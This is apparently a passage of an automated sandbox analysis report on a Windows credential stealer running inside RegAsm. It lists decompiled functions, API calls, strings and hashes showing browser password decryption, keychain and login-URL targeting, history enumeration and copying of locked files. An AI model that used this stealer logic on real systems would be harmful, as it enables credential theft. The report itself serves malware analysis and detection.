40aebe 182->200 201 445aa3-445ab0 call 40add4 182->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->38 201->182 221 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->221 239 445e62-445e69 202->239 240 445e5b 202->240 220 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->220 206->207 248 445798-4457ca call 40b2cc call 409d1f call 409b98 206->248 207->10 220->76 253 445f9b 220->253 221->182 239->203 245 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 239->245 240->239 264 445f4d-445f5a call 40ae51 245->264 248->207 265 4457cc-4457e5 call 4087b3 248->265 249->54 253->176 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->207 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->220 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                      APIs
                      • memset.MSVCRT ref: 004455C2
                      • wcsrchr.MSVCRT ref: 004455DA
                      • memset.MSVCRT ref: 0044570D
                      • memset.MSVCRT ref: 00445725
                        • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                        • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                        • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                        • Part of subcall function 0040BDB0: _wcsncoll.MSVCRT ref: 0040BE38
                        • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                        • Part of subcall function 0040BDB0: memcpy.MSVCRT ref: 0040BEB2
                      • memset.MSVCRT ref: 0044573D
                      • memset.MSVCRT ref: 00445755
                      • memset.MSVCRT ref: 004458CB
                      • memset.MSVCRT ref: 004458E3
                      • memset.MSVCRT ref: 0044596E
                      • memset.MSVCRT ref: 00445A10
                      • memset.MSVCRT ref: 00445A28
                      • memset.MSVCRT ref: 00445AC6
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                        • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                        • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                        • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                        • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000), ref: 004450F7
                      • memset.MSVCRT ref: 00445B52
                      • memset.MSVCRT ref: 00445B6A
                      • memset.MSVCRT ref: 00445C9B
                      • memset.MSVCRT ref: 00445CB3
                      • _wcsicmp.MSVCRT ref: 00445D56
                      • memset.MSVCRT ref: 00445B82
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                        • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                        • Part of subcall function 0040B6EF: CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                        • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040ADF3
                        • Part of subcall function 0040ADD4: wcscmp.MSVCRT ref: 0040AE04
                      • memset.MSVCRT ref: 00445986
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcslen$File$wcscmpwcsrchr$??2@??3@AttributesCloseCreateFolderHandlePathSizeSpecial_wcsicmp_wcslwr_wcsncollmemcpywcscatwcscpy
                      • String ID: *.*$Apple Computer\Preferences\keychain.plist
                      • API String ID: 381723030-3798722523
                      • Opcode ID: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                      • Instruction ID: 0d822d17a5609fa1e1b699618fc72e24fb48bc28b5d87ede4d5502c71e25afa2
                      • Opcode Fuzzy Hash: 54cd37d9fea90df649edfac64ca330d920c47cac007ddae39c26186bf891e53c
                      • Instruction Fuzzy Hash: ED4278B29005196BEB10E761DD46EDFB37CEF45358F1001ABF508A2193EB385E948B9A
                      Function 0041276D Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 004044A4: LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                        • Part of subcall function 004044A4: FreeLibrary.KERNEL32(00000000), ref: 004044E9
                        • Part of subcall function 004044A4: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                      • SetErrorMode.KERNEL32(00008001), ref: 00412799
                      • GetModuleHandleW.KERNEL32(00000000,0041493C,00000000), ref: 004127B2
                      • EnumResourceTypesW.KERNEL32(00000000), ref: 004127B9
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Library$EnumErrorFreeHandleLoadMessageModeModuleResourceTypes
                      • String ID: $/deleteregkey$/savelangfile
                      • API String ID: 1442760552-28296030
                      • Opcode ID: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                      • Instruction ID: bb1d383b9f388563dc7403a66819e695bb2bbb53a4e653fbe84b6d7681309d95
                      • Opcode Fuzzy Hash: 72338f9f39f0fed86814d702f01b1d2779e3084bd08ead6f54537fd18a2fe269
                      • Instruction Fuzzy Hash: FC51BEB1608346ABD710AFA6DD88A9F77ECFF81304F40092EF644D2161D778E8558B2A
                      Function 0040B6EF Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 388fileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 0040B71C
                        • Part of subcall function 00409C70: wcscpy.MSVCRT ref: 00409C75
                        • Part of subcall function 00409C70: wcsrchr.MSVCRT ref: 00409C7D
                      • wcsrchr.MSVCRT ref: 0040B738
                      • memset.MSVCRT ref: 0040B756
                      • memset.MSVCRT ref: 0040B7F5
                      • CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                      • CloseHandle.KERNEL32(00000000), ref: 0040B838
                      • memset.MSVCRT ref: 0040B851
                      • memset.MSVCRT ref: 0040B8CA
                      • memcmp.MSVCRT ref: 0040B9BF
                        • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                        • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                      • memset.MSVCRT ref: 0040BB53
                      • memcpy.MSVCRT ref: 0040BB66
                      • LocalFree.KERNEL32(00000000,?,?,?,00000000,00000000,?), ref: 0040BB8D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Freewcsrchr$CloseCreateCryptDataFileHandleLibraryLocalUnprotectmemcmpmemcpywcscpy
                      • String ID: chp$v10
                      • API String ID: 229402216-2783969131
                      • Opcode ID: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                      • Instruction ID: 8b5aa87907ec6e815121f1c024adfc7170cbdef62e19f7af032d1a0a82a34a86
                      • Opcode Fuzzy Hash: 0f77db0472bd63cf26258024439ab2a975461d6804070ba6b678b1f2ee2b0392
                      • Instruction Fuzzy Hash: 32D17372900218AFEB11EB95DC41EEE77B8EF44304F1044BAF509B7191DB789F858B99
                      Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 505 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 508 413f00-413f11 Process32NextW 505->508 509 413da5-413ded OpenProcess 508->509 510 413f17-413f24 CloseHandle 508->510 511 413eb0-413eb5 509->511 512 413df3-413e26 memset call 413f27 509->512 511->508 514 413eb7-413ebd 511->514 520 413e79-413eae call 413959 call 413ca4 CloseHandle 512->520 521 413e28-413e35 512->521 515 413ec8-413eda call 4099f4 514->515 516 413ebf-413ec6 ??3@YAXPAX@Z 514->516 518 413edb-413ee2 515->518 516->518 525 413ee4 518->525 526 413ee7-413efe 518->526 520->511 523 413e61-413e68 521->523 524 413e37-413e44 GetModuleHandleW 521->524 523->520 529 413e6a-413e77 QueryFullProcessImageNameW 523->529 524->523 528 413e46-413e5c 524->528 525->526 526->508 528->523 529->520
                      APIs
                        • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00413D6A
                      • memset.MSVCRT ref: 00413D7F
                      • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                      • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                      • memset.MSVCRT ref: 00413E07
                      • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                      • QueryFullProcessImageNameW.KERNEL32(00000000,00000000,?,00000104,00000000,?), ref: 00413E77
                      • CloseHandle.KERNEL32(?), ref: 00413EA8
                      • ??3@YAXPAX@Z.MSVCRT ref: 00413EC1
                      • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                      • CloseHandle.KERNEL32(00000000), ref: 00413F1A
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Handle$??3@CloseProcessProcess32memset$CreateFirstFullImageModuleNameNextOpenQuerySnapshotToolhelp32
                      • String ID: QueryFullProcessImageNameW$kernel32.dll
                      • API String ID: 3791284831-1740548384
                      • Opcode ID: 49940329a591e45662842b0713840e3f666fa521b7868de24c85cfebece9aff1
                      • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                      • Opcode Fuzzy Hash: 49940329a591e45662842b0713840e3f666fa521b7868de24c85cfebece9aff1
                      • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                      Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                        • Part of subcall function 0040DD85: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                        • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                        • Part of subcall function 0040DD85: CloseHandle.KERNEL32(C0000004), ref: 0040DE3E
                        • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                        • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                      • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                      • DuplicateHandle.KERNEL32(?,00000104,00000000), ref: 0040E0BF
                      • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                        • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?), ref: 00409A5C
                        • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                        • Part of subcall function 00409A45: GetTempFileNameW.KERNEL32(?,0040B827,00000000,?), ref: 00409A85
                        • Part of subcall function 004096DC: CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                      • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                      • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                      • WriteFile.KERNEL32(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                      • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                      • CloseHandle.KERNEL32(?), ref: 0040E13E
                      • CloseHandle.KERNEL32(00000000), ref: 0040E143
                      • CloseHandle.KERNEL32(?), ref: 0040E148
                      • CloseHandle.KERNEL32(?), ref: 0040E14D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                      • String ID: bhv
                      • API String ID: 4234240956-2689659898
                      • Opcode ID: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                      • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                      • Opcode Fuzzy Hash: c96677cf1f2b88af9f6f98c954d74ea01aac065ab95576d822b7ccb478d5ef78
                      • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                      Function 004466F4 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 562 4466f4-44670e call 446904 GetModuleHandleA 565 446710-44671b 562->565 566 44672f-446732 562->566 565->566 567 44671d-446726 565->567 568 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 566->568 570 446747-44674b 567->570 571 446728-44672d 567->571 575 4467ac-4467b7 __setusermatherr 568->575 576 4467b8-44680e call 4468f0 _initterm GetEnvironmentStringsW _initterm 568->576 570->566 574 44674d-44674f 570->574 571->566 573 446734-44673b 571->573 573->566 577 44673d-446745 573->577 578 446755-446758 574->578 575->576 581 446810-446819 576->581 582 44681e-446825 576->582 577->578 578->568 583 4468d8-4468dd call 44693d 581->583 584 446827-446832 582->584 585 44686c-446870 582->585 588 446834-446838 584->588 589 44683a-44683e 584->589 586 446845-44684b 585->586 587 446872-446877 585->587 593 446853-446864 GetStartupInfoW 586->593 594 44684d-446851 586->594 587->585 588->584 588->589 589->586 591 446840-446842 589->591 591->586 595 446866-44686a 593->595 596 446879-44687b 593->596 594->591 594->593 597 44687c-446894 GetModuleHandleA call 41276d 595->597 596->597 600 446896-446897 exit 597->600 601 44689d-4468d6 _cexit 597->601 600->601 601->583
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000,0044E4C0,00000070), ref: 00446703
                      • __set_app_type.MSVCRT ref: 00446762
                      • __p__fmode.MSVCRT ref: 00446777
                      • __p__commode.MSVCRT ref: 00446785
                      • __setusermatherr.MSVCRT ref: 004467B1
                      • _initterm.MSVCRT ref: 004467C7
                      • GetEnvironmentStringsW.KERNEL32(?,?,?,?,0044E494,0044E498), ref: 004467EA
                      • _initterm.MSVCRT ref: 004467FD
                      • GetStartupInfoW.KERNEL32(?), ref: 0044685A
                      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00446880
                      • exit.MSVCRT ref: 00446897
                      • _cexit.MSVCRT ref: 0044689D
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule_initterm$EnvironmentInfoStartupStrings__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                      • String ID:
                      • API String ID: 2791496988-0
                      • Opcode ID: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                      • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                      • Opcode Fuzzy Hash: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                      • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                      Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 0040C298
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                        • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                      • wcschr.MSVCRT ref: 0040C324
                      • wcschr.MSVCRT ref: 0040C344
                      • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                      • GetLastError.KERNEL32 ref: 0040C373
                      • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                      • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                      • String ID: visited:
                      • API String ID: 2470578098-1702587658
                      • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                      • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                      • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                      • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                      Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 628 40e175-40e1a1 call 40695d call 406b90 633 40e1a7-40e1e5 memset 628->633 634 40e299-40e2a8 call 4069a3 628->634 636 40e1e8-40e1fa call 406e8f 633->636 640 40e270-40e27d call 406b53 636->640 641 40e1fc-40e219 call 40dd50 * 2 636->641 640->636 646 40e283-40e286 640->646 641->640 652 40e21b-40e21d 641->652 648 40e291-40e294 call 40aa04 646->648 649 40e288-40e290 ??3@YAXPAX@Z 646->649 648->634 649->648 652->640 653 40e21f-40e235 call 40742e 652->653 653->640 656 40e237-40e242 call 40aae3 653->656 656->640 659 40e244-40e26b _snwprintf call 40a8d0 656->659 659->640
                      APIs
                        • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                      • memset.MSVCRT ref: 0040E1BD
                        • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                        • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                        • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                        • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                      • _snwprintf.MSVCRT ref: 0040E257
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                      • String ID: $ContainerId$Container_%I64d$Containers$Name
                      • API String ID: 3883404497-2982631422
                      • Opcode ID: 366cc36c026cd150a239da38b4c6b1e2e10dbbf4b03b5b4663773bd365af82a7
                      • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                      • Opcode Fuzzy Hash: 366cc36c026cd150a239da38b4c6b1e2e10dbbf4b03b5b4663773bd365af82a7
                      • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                      Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                        • Part of subcall function 0040CC26: CloseHandle.KERNEL32(?), ref: 0040CC98
                        • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                      • memset.MSVCRT ref: 0040BC75
                      • memset.MSVCRT ref: 0040BC8C
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                      • memcmp.MSVCRT ref: 0040BCD6
                      • memcpy.MSVCRT ref: 0040BD2B
                      • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                      • String ID:
                      • API String ID: 115830560-3916222277
                      • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                      • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                      • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                      • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                      Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                      • String ID: r!A
                      • API String ID: 2791114272-628097481
                      • Opcode ID: e760b227a922d4e3f094a9eb3eb7a7fe7130a7247a75f8eef54ce2a40c46c596
                      • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                      • Opcode Fuzzy Hash: e760b227a922d4e3f094a9eb3eb7a7fe7130a7247a75f8eef54ce2a40c46c596
                      • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                      Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                        • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                        • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                        • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                        • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                        • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                        • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                        • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                        • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                        • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                        • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                        • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                        • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                      • _wcslwr.MSVCRT ref: 0040C817
                        • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                        • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                      • wcslen.MSVCRT ref: 0040C82C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$??3@$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                      • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                      • API String ID: 62308376-4196376884
                      • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                      • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                      • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                      • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                      Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 770 40b58d-40b59e 771 40b5a4-40b5c0 GetModuleHandleW FindResourceW 770->771 772 40b62e-40b632 770->772 773 40b5c2-40b5ce LoadResource 771->773 774 40b5e7 771->774 773->774 775 40b5d0-40b5e5 SizeofResource LockResource 773->775 776 40b5e9-40b5eb 774->776 775->776 776->772 777 40b5ed-40b5ef 776->777 777->772 778 40b5f1-40b629 call 40afcf memcpy call 40b4d3 call 40b3c1 call 40b04b 777->778 778->772
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                      • FindResourceW.KERNEL32(00000000,00000032,BIN), ref: 0040B5B6
                      • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                      • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                      • LockResource.KERNEL32(00000000), ref: 0040B5DD
                      • memcpy.MSVCRT ref: 0040B60D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                      • String ID: BIN
                      • API String ID: 1668488027-1015027815
                      • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                      • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                      • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
